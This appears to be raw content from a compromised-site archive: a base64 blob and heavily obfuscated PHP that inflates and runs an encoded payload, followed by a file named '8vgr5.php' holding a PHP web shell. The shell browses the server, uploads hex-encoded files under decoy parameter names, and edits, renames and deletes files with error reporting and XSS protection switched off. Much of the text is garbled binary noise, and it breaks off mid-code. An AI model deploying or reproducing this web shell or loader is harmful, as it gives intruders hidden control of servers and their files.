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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��—;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �՘�;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PKOn\Aj�%\%\	8vgr5.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
